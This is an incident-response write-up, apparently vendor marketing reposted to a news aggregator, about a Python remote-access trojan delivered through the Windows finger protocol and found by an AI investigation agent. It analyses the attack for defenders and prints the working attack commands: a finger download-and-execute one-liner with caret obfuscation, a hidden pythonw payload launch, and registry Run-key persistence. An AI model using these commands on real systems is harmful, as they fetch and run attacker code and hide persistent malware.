Finger: A Protocol from 1977 Is Still Delivering Malware in 2026
Hacker News

Finger: A Protocol from 1977 Is Still Delivering Malware in 2026

The finger protocol is older than the web, disabled on every server that matters, and still a working malware delivery channel on a default Windows install. Here it planted a Python RAT that was alerting the whole time. One genuine compromise, drowned in thousands of benign look-alikes, invisible until something cut through the noise. A compiled-Python remote-access trojan was re-launching on an employee’s laptop on every login, and the company’s endpoint agent was alerting on it the entire time. Every alert was configured alert-only, so it flagged and never contained. None were acted on. The delivery mechanism was the giveaway: an obfuscated finger command, caret-escaped to read f^i^n^g^e^r , abusing the ancient Finger protocol to pull attacker commands off a remote host and run them inline. From there the chain is modern and mundane: a signed Python interpreter dropped as a living-off-the-land binary, a .pyc payload staged in C:\ProgramData\ , a registry Run key for persistence, and a second-stage module dropped by PowerShell an hour later. None of it was novel. All of it matches an active 2025-2026 campaign cluster. What was missing was anyone connecting the alerts into a story. Which is where this one gets interesting: the customer had connected their endpoint telemetry to Artemis two days before it surfaced. The expected behavior The endpoint agent was not blind. Its behavioral rule for suspicious Python execution was firing on this host, with tens of thousands of alert events on the rule overall. The problem was twofold. The rule was configured alert-only. It flagged, and never contained. And it was noisy. The same rule fired harmlessly on two other machines in the environment (one running ordinary developer tooling, another a vendor’s scientific-software installer) and those two produced the bulk of that volume. Python executing on a developer’s laptop is expected. Python executing from C:\ProgramData\ under a finger ancestor is not. But nothing in the rule could tell those apart. The one genuinely compromised host was a needle in a haystack the rule itself had built. Every alert was individually true and collectively ignored. The gap wasn’t detection. It was the distance between an alert firing and someone understanding what it meant. The delivery: a protocol from 1977 The Finger protocol dates to 1977. It answers one question, “who is logged in on this host?”, over TCP port 79, and virtually nobody runs a finger daemon anymore. But finger.exe still ships with Windows. In 2020, researcher John Page (hyp3rlinx) showed it could be turned into a file downloader: query user@host , and whatever the remote “finger server” returns comes back as text you can pipe straight into cmd. The LOLBAS project has carried the entry ever since, in the canonical form finger user@host | more +2 | cmd . The more +2 strips the protocol’s preamble so only the attacker’s commands reach the shell. On this endpoint, the same idea appeared as a for loop: cmd.exe /K for /f "skip=8 delims=" %T in ('f^i^n^g^e^r adfvjnujihbkj@REDACTED-DELIVERY-DOMAIN') do %T Code language: JavaScript (javascript) Two things are worth pulling apart. The for /f "skip=8" is the header-strip primitive: drop the first eight lines of the finger response, treat every remaining line as a command, and execute it (do %T). And the binary name is written f^i^n^g^e^r . The caret is cmd.exe ‘s escape character, discarded at parse time, so the process that launches is finger . But any detection rule doing literal string matching on the command line sees f^i^n^g^e^r and misses it. Caret insertion is old, well-documented obfuscation tracing back to Daniel Bohannon’s DOSfuscation work, and pairing it with finger is exactly what current campaigns do. The point of using finger is evasion. It isn’t HTTP, so web proxies and TLS inspection don’t see it. finger.exe is a legitimate signed Windows binary, so application allow-listing lets it run. And port 79 is unusual enough that most environments have no rule watching it, while finger.exe is common enough as a native binary that its execution looks unremarkable in isolation. The chain, stage by stage Two seconds after the finger call returned, the staged payload launched, and persistence went in at the same instant: cmd /c start /b C:\ProgramData\Python\pythonw.exe C:\ProgramData\Python\main.pyc cmd /c reg add HKCU...\CurrentVersion\Run /v Py /t REG_SZ /d "...pythonw.exe ...main.pyc" /f >nul 2>&1 Code language: JavaScript (javascript) The interpreter here, pythonw.exe, is the genuine, valid, Python-Software-Foundation-signed Python for Windows, dropped by the attacker and pointed at their own compiled main.pyc. That is the living-off-the-land move. The malicious logic lives in the .pyc, and it runs inside a binary that every signature check and reputation service will call clean. pythonw.exe (as opposed to python.exe ) runs with no console window, so nothing flickers on the user’s screen. start /b reinforces the background launch. The reg add writes an HKCU...\Run value named Py so the RAT re-launches on every login, and >nul 2>&1 swallows the command’s output, so the persistence step leaves no visible trace. The registry key did its job. Over the following day the payload re-executed on four separate logins. Roughly 59 minutes after the initial infection, the running main.pyc spawned PowerShell, which dropped a second payload into a randomly-named directory: C:\ProgramData\ \pythonw.exe init.py Code language: CSS (css) A randomized directory name full of special characters is a hallmark of automated staging. And the shift to a different entry point (init.py rather than main.pyc ) signals a distinct second module: a separate implant on top of the first-stage foothold. | Time (UTC) | What happened | ATT&CK | |---|---|---| | Day 1 · 14:38:18 | Caret-obfuscated finger contacts an external host, executes the returned commands inline | T1105 · T1059.003 · T1027 | | Day 1 · 14:38:20 | Signed pythonw.exe launches a compiled .pyc payload, hidden, from C:\ProgramData\ | T1218 · T1564.003 | | Day 1 · 14:38:20 | Registry Run key Py written for persistence, output suppressed | T1547.001 | | Day 1 · 15:37:13 | First-stage payload spawns PowerShell, drops a second module in a randomized directory | T1059.001 · T1105 | | Day 2 · (×4 logins) | RAT re-executes on every login | T1547.001 | | Day 4 | The endpoint feed is connected to Artemis | | | Day 5 | Artemis surfaces the activity the alert-only EDR rule had flagged but left unactioned. The detection point | This is a known technique, in an active resurgence The honest framing for a chain like this is not “novel.” Every link is documented tradecraft, and the current wave is well-covered: - Finger as a downloader is five years old (hyp3rlinx, 2020), with a stable LOLBAS entry. Its first real-world adopter was the Astaroth/Guildma banking trojan the same year. - After going largely quiet, finger-over-TCP-79 delivery resurged from late 2025 inside ClickFix campaigns. SANS ISC tracked clusters like KongTuke and SmartApeSG through November and December 2025. - The compiled-Python RAT second stage (signed pythonw.exe ,.pyc payloads in randomizedC:\ProgramData\ directories,HKCU...\Run persistence) is a well documented RAT (see references) So the value of catching this one is not discovery. This host’s chain is consistent end-to-end with that active cluster. The artifacts we recovered aren’t enough to name a single family over ModeloRAT, lspy, or another CastleLoader payload, and we won’t pretend otherwise. We also can’t confirm how the very first command got there. The ClickFix pattern usually starts with a user pasting a command into the Run dialog, but the telemetry here begins at the finger call, so we treat initial access as consistent-with, not confirmed. What matters is this: a decades-old protocol is being chained into current Python-RAT delivery, it is uncommon enough that most rules don’t watch for it, and on this host it was persisting and re-executing while the EDR alerted and no one acted. How Artemis caught it The customer had connected their endpoint feed to Artemis two days earlier. Artemis’s Environment Intelligence watches a new telemetry source as it comes online and surfaces what stands out. Roughly 39 hours after the feed connected, it raised an insight on its own: compiled Python executing from an unusual location, with registry persistence, on one employee’s laptop. A responder opened Artemis AI Mode and asked one question: “go deeper into the telemetry and tell me what is happening.” The investigation agent took it from there. It: - listed the available data sources, found the normalized alert fields mostly empty, and pivoted to the raw endpoint logs - walked the process tree backward from the Python execution to the caret-obfuscated finger command and the external host it contacted - pulled the daily alert volume across the rule and separated the malicious host from the noise - checked the endpoint’s egress IP against threat intelligence, finding a residential ISP that was the user’s own benign network - cleared the two other alerting machines as ordinary activity, isolating the compromise to a single host - verified the interpreter’s signature (clean, as expected) Then it wrote up a confirmed multi-stage compromise, high confidence: about twenty queries across five data sources (endpoint alerts, threats, and activities, plus firewall and Windows event logs) in roughly six minutes. Artemis opened the case, the customer’s analyst reviewed it, and the endpoint was contained. The reconstruction that took the agent six minutes is the one a human would have had to assemble by hand from tens of thousands of alerts across five log sources. Which is precisely why, until the feed reached Artemis, no human had. What this means Every alert in this story was true. Not one was acted on. That’s not a tuning failure. It’s what happens when a rule can fire but can’t reason. T

Read on Hacker News ↗ ← Back to News

Comments

No comments yet. Start the discussion.